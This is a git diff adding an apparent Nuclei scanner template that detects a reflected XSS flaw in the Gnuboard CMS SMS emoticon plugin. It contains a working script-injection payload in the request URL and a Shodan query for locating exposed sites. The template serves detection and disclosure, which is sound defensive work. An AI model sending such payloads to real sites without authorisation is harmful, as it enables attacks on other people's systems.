diff --git a/vulnerabilities/other/gnuboard-sms-xss.yaml b/vulnerabilities/other/gnuboard-sms-xss.yaml
new file mode 100644
index 0000000000..155dea7f7d
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+++ b/vulnerabilities/other/gnuboard-sms-xss.yaml
@@ -0,0 +1,35 @@
+id: gnuboard-sms-xss
+
+info:
+  name: Gnuboard CMS - SMS Emoticon XSS
+  author: gy741
+  severity: medium
+  description: A vulnerability in Gnuboard CMS allows remote attackers to inject arbitrary Javascript into the responses returned by the server.
+  reference:
+    - https://sir.kr/g5_pds/4788?page=5
+    - https://github.com/gnuboard/gnuboard5/commit/8182cac90d2ee2f9da06469ecba759170e782ee3
+  metadata:
+    verified: true
+    shodan-query: http.html:"Gnuboard"
+  tags: xss,gnuboard
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/plugin/sms5/ajax.sms_emoticon.php?arr_ajax_msg=gnuboard<svg+onload=alert(document.domain)>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"0nuboard<svg onload=alert(document.domain)>"'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200